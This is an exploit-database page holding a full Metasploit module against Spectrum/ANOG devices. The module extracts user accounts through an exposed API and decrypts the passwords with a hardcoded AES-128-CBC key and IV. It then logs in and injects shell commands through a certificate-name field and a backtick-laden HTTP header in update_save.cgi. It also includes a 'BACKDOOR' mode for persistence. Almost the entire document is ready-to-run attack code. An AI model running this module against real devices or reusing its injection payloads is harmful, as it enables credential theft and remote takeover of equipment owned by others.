Share
## https://sploitus.com/exploit?id=PACKETSTORM:218604
==================================================================================================================================
    | # Title     : Spectrum ANOG Device Credential Extraction and Command Injection RCE                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets Spectrum/ANOG devices and combines credential extraction, password decryption, and remote command execution through an authenticated command-injection flaw.
    
    [+] The module operates in multiple phases:
    
    Device enumeration: Retrieves device identifiers (ID and MAC address) via a publicCmd API endpoint.
    Credential extraction: Queries user accounts from configuration endpoints and decrypts stored passwords using a predefined AES-128-CBC key/IV pair.
    Authentication handling: Supports both encrypted (RSA-based) and unencrypted login flows depending on the device response.
    Command execution (RCE): Exploits a command injection vector in a CGI endpoint (update_save.cgi) by injecting shell commands through manipulated POST parameters and HTTP headers.
    Backdoor mode: Attempts to execute system-level commands to stage persistence-like behavior on the target device after authentication.
    
    [+] The module supports three operational modes:
    
    EXTRACT: Dumps and decrypts device user credentials.
    RCE: Logs in using extracted credentials and executes a user-defined command.
    BACKDOOR: Attempts to execute chained system commands to establish persistence.
    
    [+] POC   :  
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name' => 'Spectrum/ANOG Device - Credential Extractor and RCE',
          'Description' => 'Extract credentials and exploit command injection',
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'DefaultAction' => 'EXTRACT'
        ))
    
        register_options([
          Opt::RPORT(80),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('COMMAND', [false, 'Command', 'id'])
        ])
      end
    
      AES_KEYS = [
        ['0vMAXsPECTRUMnANUGOcErritos16220', 'dIgItALwATCHdOG3']
      ].freeze
    
      def get_device_info
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
          'ctype' => 'application/json',
          'data' => { command: 'getDeviceInfo' }.to_json
        })
    
        return [nil, nil] unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        return [nil, nil] unless json.is_a?(Hash)
    
        reply = json['reply']
        return [nil, nil] unless reply.is_a?(Hash)
    
        [reply['id'], reply['mac']]
      end
    
      def get_users(id, mac)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
          'ctype' => 'application/json',
          'data' => {
            method: 'get',
            command: 'setup/general/user',
            id: id,
            mac: mac
          }.to_json
        })
    
        return [] unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        return [] unless json.is_a?(Hash)
    
        reply = json['reply']
        return [] unless reply.is_a?(Hash)
    
        reply['users'] || []
      end
    
      def decrypt_password(enc)
        require 'base64'
        require 'openssl'
    
        data = Base64.decode64(enc)
    
        AES_KEYS.each do |key, iv|
          begin
            cipher = OpenSSL::Cipher.new('AES-128-CBC')
            cipher.decrypt
            cipher.key = key
            cipher.iv = iv
    
            dec = cipher.update(data) + cipher.final
    
            padding = dec[-1].ord
            dec = dec[0...-padding] if padding.between?(1, 16)
    
            return dec
          rescue
            next
          end
        end
    
        nil
      end
    
      def login(username, password)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login.cgi')
        })
    
        return nil unless res
    
        if res.body.include?('rsa_pub_key') && res.body.include?('rsa_session_key')
          return encrypted_login(username, password, res)
        end
    
        unencrypted_login(username, password)
      end
    
      def unencrypted_login(username, password)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
          'vars_post' => {
            login_os: 'win',
            login_type: '1',
            login_id: username,
            login_pwd: password
          }
        })
    
        return nil unless res
    
        if res.code == 302 && res.headers['Location'] && !res.headers['Location'].include?('login.cgi')
          return res.get_cookies
        end
    
        nil
      end
    
      def encrypted_login(username, password, res)
        cookies = res.get_cookies
    
        pub = extract_rsa(res.body, 'rsa_pub_key')
        sess = extract_rsa(res.body, 'rsa_session_key')
    
        return nil unless pub && sess
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
          'cookie' => cookies,
          'vars_post' => {
            login_os: 'win',
            login_type: rsa_encrypt('1', pub),
            enc_uid: rsa_encrypt(username, pub),
            enc_upwd: rsa_encrypt(password, pub),
            rsa_session: sess,
            rnd_key: rand(64)
          }
        })
    
        cookies
      end
    
      def extract_rsa(body, key)
        return $1 if body =~ /"#{key}"\s*:\s*"([^"]+)"/
        nil
      end
    
      def rsa_encrypt(data, pub)
        require 'openssl'
        require 'base64'
    
        key = OpenSSL::PKey::RSA.new(Base64.decode64(pub))
        Base64.strict_encode64(key.public_encrypt(data))
      rescue
        data
      end
    
      def execute_command(cookies, cmd, cmd2 = nil)
        category = 'setup_network_https_cert_view'
        cert_name = "a\" # \n #{cmd} # \""
    
        headers = {}
        headers['abcdef'] = "ghi`#{cmd2}`jkl" if cmd2
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/update_save.cgi'),
          'cookie' => cookies,
          'vars_post' => {
            category: category,
            cert_name: cert_name
          },
          'headers' => headers
        })
    
        return nil unless res
        res.body
      end
    
      def run_host(_ip)
        case action.name
        when 'EXTRACT'
          extract_credentials
        when 'RCE'
          execute_rce_flow
        when 'BACKDOOR'
          install_backdoor
        end
      end
    
      def extract_credentials
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
        return if users.empty?
    
        users.each do |u|
          user = u['username']
          pass = u['password']
          next unless user && pass
    
          dec = decrypt_password(pass)
          print_good("#{user}:#{dec}") if dec
        end
      end
    
      def execute_rce_flow
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
        return if users.empty?
    
        users.each do |u|
          user = u['username']
          pass = decrypt_password(u['password'])
          next unless user && pass
    
          cookies = login(user, pass)
          next unless cookies
    
          print_good("Logged in as #{user}")
    
          res = execute_command(cookies, datastore['COMMAND'])
          print_status(res) if res
          break
        end
      end
    
      def install_backdoor
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
    
        users.each do |u|
          user = u['username']
          pass = decrypt_password(u['password'])
          next unless user && pass
    
          cookies = login(user, pass)
          next unless cookies
    
          cmd = "cp /proc/self/environ /tmp/.e0 # \n sh /tmp/.e0 # \n rm /tmp/.e0 #"
          execute_command(cookies, cmd, "rm -f /tmp/.go.cgi")
    
          print_good("Backdoor installed")
          break
        end
      end
    end
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================